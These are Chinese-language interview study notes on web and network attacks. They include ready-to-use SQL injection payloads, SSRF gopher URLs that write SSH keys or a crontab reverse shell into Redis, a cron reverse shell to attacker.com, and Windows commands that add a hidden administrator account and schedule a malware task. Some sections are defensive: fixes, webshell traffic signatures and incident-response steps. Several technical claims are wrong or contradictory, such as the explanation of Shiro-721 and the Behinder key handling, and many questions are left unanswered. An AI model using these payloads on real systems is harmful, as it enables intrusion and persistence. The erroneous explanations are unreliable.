文章

网安面试题

1.sql注入的基本原理

web应用把用户输入当成 SQL 语句的一部分执行,导致攻击者能插入、修改或扩展原本的 SQL 逻辑

2.sql注入如何修复

  • 参数化查询
  • 白名单
  • 输出编码
  • 最小化权限
  •  WAF

3.sql注入单引号被过滤怎么进行注入

1.使用16进制字符串

在注入类型为数字型时无需考虑单引号


0x61646d696e     = 'admin'
0x27             = '''   (单引号也能这样写)

2.使用char()构造字符串

有可能是双引号闭合

3.使用 REGEXP / LIKE 搜索型逃逸

如原语句为:

WHERE name LIKE '%$kw%'

构造:

% OR 1=1--
% AND (SELECT 1 FROM dual)--

4.报错注入可能会用到的函数

报错函数


- extractvalue()
- updatexml()
  
- exp()
# 触发原因:参数过大导致浮点溢出
- floor()
# 常用 **floor + rand + group by 报错注入**。
# 原理:rand() 在 group by 时生成重复键,触发 Duplicate entry 错误
- pow()
- round()
  

示例:
exp():

SELECT exp(~(SELECT * FROM (SELECT database())x));

floor():

SELECT COUNT(*), FLOOR(RAND(0)*2) 
FROM information_schema.columns 
GROUP BY CONCAT(database());

pow():

SELECT pow(999999999, (SELECT LENGTH(database())));

5.过滤单引号如何判断存在注入

过滤单引号 ' 只影响 字符型注入,但不影响以下:

  • 数字型注入
  • 布尔盲注(数字)
  • 基于函数的报错注入(无需引号)
  • 逻辑表达式注入
  • 预期类型不严格的场景(如 id=1abc 也能执行)

方法 1:数字型 payload 观察响应差异

方法 2:利用无引号布尔表达式

即使过滤 ',布尔表达式仍然可用:

?id=1 AND 1=1
?id=1 AND 1=2

如果:

  • 第一个正常返回
  • 第二个返回报错或无数据
    则存在注入。
    如果过滤了 and / or,仍可用逻辑运算符:
?id=1 && 1=1
?id=1 && 1=2

?id=1 || 1=1
?id=1 || 1=2

方法 3:利用数学异常判断注入

不需要引号,基于数学溢出触发报错:

?id=1/(SELECT 0)
?id=exp(999999999)
?id=pow(99999,99999)

方法 4:利用 MySQL 报错函数

核心优势:所有 payload 不包含 '

eg:

?id=1 AND updatexml(1,concat(0x7e,database(),0x7e),1)

如果返回:

XPATH syntax error: ~testdb~

方法 5:利用 # sleep()  时间盲注判断注入

时间差明显 → 存在注入

?id=1 AND sleep(5)

绕过过滤:

?id=1&&sleep(5)
?id=1%26%26sleep(5)
?id=1/**/sleep(5)
?id=1 or sleep(5)

6.sql注入如何判断存在注入

7.如何使用and判断存在注入

回显不同时,可能存在注入

1 and 1=1
1 and 1=2

8.sql注入如何提权,提权的条件是什么

若要提权,必须满足条件:

  1. 数据库用户权限足够高(关键条件)
  2. 数据库配置未做安全限制(如file_priv)
  3. 系统有接口可被数据库调用(如 xp_cmdshell、UDF、CLR 等)

sqlmap想要os-shell的条件:

  1. file权限
  2. 已知web绝对路径
  3. 堆叠注入

9.mysql5.0以上和以下的区别是什么,在sql注入中会有什么不一样

  1. information_shchema首次加入
  2. 报错函数
  3. 加入安全限制,如file_priv
  4. 子查询限制变少
  5. UDF 提权方式不同

10.xss三个类型的区别

反射性和dom型的区别:
反射型恶意payload来自用户输入,然后服务器把这部分拼接到html响应里返回给用户,在没有过滤和拦截的情况下,会执行用户输入的恶意代码
dom型不经过服务器,在js代码操作dom时动态更新
特征:
• payload 不经过服务器返回,问题完全 发生在浏览器端 JavaScript。
• 恶意内容来自 location.href / location.hash / document.cookie / localStorage 等。
• 不需要页面刷新,即可通过 JS 动态更新 DOM 触发。
• 通常无法在服务端日志中直接看到 payload

11.xss常见事件标签

<script>
<img>
<a>
<iframe>
<form>

12.xss漏洞怎么修复

  • 在输出时进行正确的转义(Escape)
  • 在输入时进行格式限制(Validation)
  • 避免在前端直接拼接 HTML
  • 使用安全 API / 库
  • 白名单

13.ssrf漏洞原理,以及使用改漏洞怎么打内网

一句话原理:

应用服务器允许用户提交一个“URL”,并由服务器自己去访问这个 URL。
攻击者控制 URL,就能让服务器去访问任意地址,包括 内网(127.0.0.1 / 10.x / 172.x / 192.168.x),甚至访问敏感服务(Redis、Memcache、FastCGI、Gopher 等)。

常见 SSRF 攻击 payload

http://127.0.0.1/
http://localhost/
http://0/
http://2130706433/             # 绕过过滤的整数形式
http://127.0.0.1:22/
http://169.254.169.254/latest/meta-data/        # 云环境敏感元数据
gopher://127.0.0.1:6379/_....  # 攻击 Redis
dict://127.0.0.1:11211/
ftp://127.0.0.1:21/
file:///etc/passwd

ssrf通过gopher协议+redis拿到rce:

  • 存在  SSRF ,且能发起 gopher:// 请求
  • Redis 未开启认证
gopher://127.0.0.1:6379/_INFO

# 返回

# Server
redis_version:
  • Redis 有写权限
    • SET
    • CONFIG SET
    • SAVE
  • Redis 能将文件写入 Web 目录或系统目录

 Gopher payload

命令:

redis-cli -h target 
> CONFIG SET dir /root/.ssh/ 
> CONFIG SET dbfilename authorized_keys 
> SET sshkey "\n\nssh-rsa AAAAB3... your@email.com\n\n" 
> SAVE

payload:

*1\r\n$8\r\nflushall\r\n 
*3\r\n$3\r\nset\r\n$1\r\n1\r\n$62\r\n\n\nssh-rsa AAAAB3...your@email.com\n\n\r\n *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/root/.ssh/\r\n *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n 
*1\r\n$4\r\nsave\r\n 

然后 URL 编码并放入 Gopher URL:

gopher://target_redis_ip:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0a%0a==ssh-rsa%20AAAAB3...%20your%40email.com==%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a%2froot%2f.ssh%2f%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%2415%0d%0aauthorized_keys%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

14.php的ssrf漏洞和java的ssrf漏洞的区别

语言支持的协议(常见函数/类)是否支持 Gopher / Dict 等非 HTTP 协议
PHPfile_get_contents()fopen()curl_exec()✅ 默认支持 gopher://dict://file://ftp:// 等(取决于 allow_url_fopen 和 cURL)
JavaHttpURLConnectionApache HttpClientOkHttpSpring RestTemplate❌ 通常仅支持 HTTP/HTTPS
少数库(如低版本 Apache HttpClient)可能支持 file://,但 不支持 gopher:// 或 dict://

PHP 防御难点:

  • 即使过滤 http://,攻击者仍可用 gopher://dict://
  • filter_var($url, FILTER_VALIDATE_URL) 无法阻止非 HTTP 协议。
  • 需手动白名单协议和域名。

Java 防御优势:

  • 主流 HTTP 客户端(如 OkHttp、RestTemplate)默认只处理 HTTP/HTTPS。
  • 更容易通过配置禁止非预期协议。
  • 可统一在网络层(如 WAF)拦截内网 IP 访问。
维度PHP SSRFJava SSRF
协议支持广泛(gopher/dict/file/ftp)狭窄(通常仅 HTTP/HTTPS)
RCE 能力✅ 强(可直接打 Redis/FastCGI)❌ 弱(需配合其他漏洞)
利用复杂度低(工具自动化,如 Gopherus)高(多用于探测或元数据泄露)
防御重点协议白名单 + 输入校验URL 校验 + 禁止访问内网 IP

15.ssrf漏洞在云上的资产怎么利用

阶段 1:利用 SSRF 打 Metadata Service

阶段 2:使用 AK/SK → 直接访问云 API

阶段 3:横向移动

阶段 4:获取持久权限

16.shiro550漏洞和shiro721漏洞,原理和区别以及官方的修复方案

17.550和721如何做waf的绕过

 分段传输 / 流量伪装

使用非标准编码或填充

  • 控制请求频率,模拟人工操作。
    Shiro-721 的本质是 Shiro 在处理 URL 时,对分号 ;(semicolon)作为路径参数分隔符的处理不当,导致权限校验绕
  • URL 编码:%3B
  • 双重 URL 编码:%253B
  • Unicode 编码:%u003b(部分容器支持)
  • 大小写混淆:%3b vs %3B

18.java和php代码审计

19.在爆破密码时出现验证码怎么做

20.burp验证码插件的原理

21.权限维持win和linux


二、常见合法授权场景下的技术手段(按平台分类)

✅ Windows 系统

  1. 创建隐藏用户
  net user hidden$ P@ssw0rd123 /add /active:yes
  net localgroup administrators hidden$ /add
  • 用户名带 $ 可在部分界面隐藏。
  1. 注册表启动项
  • 写入 HKCU\Software\Microsoft\Windows\CurrentVersion\Run,指向恶意程序。
  1. 计划任务(Scheduled Task)
   schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
  1. 服务安装
  • 使用 sc create 创建自启服务(需高权限)。

✅ Linux 系统

  1. SSH 公钥写入
  chmod 600 ~/.ssh/authorized_keys
  1. Cron 定时任务
  echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -
  1. 系统服务(Systemd)
  • 创建 /etc/systemd/system/update.service,设置 ExecStart 为反弹 shell。

✅ Web 应用层

  1. 植入 Webshell
    • 上传 PHP/JSP/ASPX 一句话木马(需文件上传漏洞)。
  2. 修改合法页面
    • 在首页或 JS 文件中插入 <img src=x onerror=eval(...)>
  3. 利用数据库 UDF
    • MySQL 中创建 sys_eval() 函数执行系统命令(需 root 权限)。
  4. 内存马(无文件落地)
    • Java:注入 Tomcat Valve、Spring Controller;
    • .NET:HttpModule 动态注册

22.各个数据库的端口

  • mysql 3306
  • postgresql 5432
  • sqlserver 1433
  • oracle 1521
  • redis 6379

23.gopher协议

Gopher 是一种早期互联网协议,常在安全测试中特别重要,因为 SSRF 利用时可以用 Gopher 进行任意 TCP payload 构造。(常用端口70)

Gopher URL格式

标准格式:

gopher://host:port/_<payload>

注意两个关键点:

  • 用于告诉 URL 解析器:后面内容保持原样
  • payload 必须 URL 编码

示例:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a...

常见用途:

  • 打 Redis(写 SSH 公钥、RDB 文件)
  • 打 MySQL(构造认证握手)
  • 打 HTTP 服务(构造任意请求)
  • 打 FastCGI(远程执行 PHP)
  • 打内部 RPC 服务

SSRF + Gopher 攻击 Redis

示例 payload(写 crontab 反弹 shell):

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0aabcde%0d%0a$10%0d%0a* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1%0d%0a

24.主流webshell的流量特征

蚁剑:

  • @ini_set("display_errors", "0") 用来关闭错误显示,避免错误信息暴露给攻击者。
  • @set_time_limit(0) 用来设置脚本执行时间无限制,这意味着 WebShell 可以长时间运行,常用于 反向连接 或 持久化连接

冰蝎

动态密钥:首次请求返回 AES 密钥(隐藏在 Cookie 或响应头中)
支持内存马
没有密钥和偏移量:
如果 解密出内容,那么这个 WebShell 就是 冰蝎,因为冰蝎的加密方式是 固定密钥
加密的请求和返回数据:

哥斯拉

1.强特征cookie最快后面会带有分号,
2.数据包中存在两个参数pass,key

25.中了挖矿病毒如何溯源

先确定是否真的中挖矿:

1. CPU/GPU 异常

linux:

top
ps -aux | sort -k3 -nr | head

Windows:

taskmgr
Get-Process | Sort CPU -Descending

二、核心溯源策略(按攻击链回溯)

溯源目的:

找到 “攻击入口 → 提权方式 → 持久化点 → 控制服务器 → 下载源”。
整个过程必须按时间线反查。

三、Linux 详细溯源步骤

1. 查看挖矿进程父进程(关键)

大部分挖矿木马会由 downloader 启动。

ps -o pid,ppid,cmd -p <suspect_pid>

如果 PPID 显示:

  • bash(说明是 shell 执行)

  • systemd(说明有持久化)

  • cron(说明是定时任务)

  • python /tmp/*(说明临时脚本)

  • /usr/bin/wget 或 curl(说明是下载器)

2. 查看历史命令(判断攻击入口)

3. 从 /var/log/auth.log 查 SSH 入侵

4. 检查 cron 持久化

crontab -l
ls -al /etc/cron*

26.框架漏洞的rce

  • ThinkPHP 5 RCE
  • Struts2 RCE
  • Log4j
  • Fastjson
  • PHP eval 注入
  • SSTI(Jinja2、Twig、Velocity)

27.只开放80端口的攻击思路

路径 A:上传漏洞 → WebShell → 提权 → 内网横移

路径 B:SQL 注入 → 写 WebShell → RCE

路径 C:SSRF → 打 Redis / FastCGI → Getshell

路径 D:后台弱密码 → 模板恶意代码 → Getshell

路径 E:信息泄露(.git) → 源码 → 分析漏洞 → RCE

28.溯源的步骤

发现异常 → 确认木马 → 现场取证 → 时间线还原 → 查找入口 → 查找提权方式 → 查找横向移动 → 确定控制端/IP → 处置与加固

主机上机排查-网络连接排查
主机上机排查-杀毒软件扫描
主机上机排查-异常计划任务排查
主机上机排查-隐藏用户排查:wmic useraccount get name,SID
主机上机排查-异常进程启动排查: netstat -ano | findstr ip

29.这个web系统没有提权的漏洞怎么去提权

30.Jwt的原理和漏洞有哪些

31.黄金白银票据的原理是什么

License:  CC BY 4.0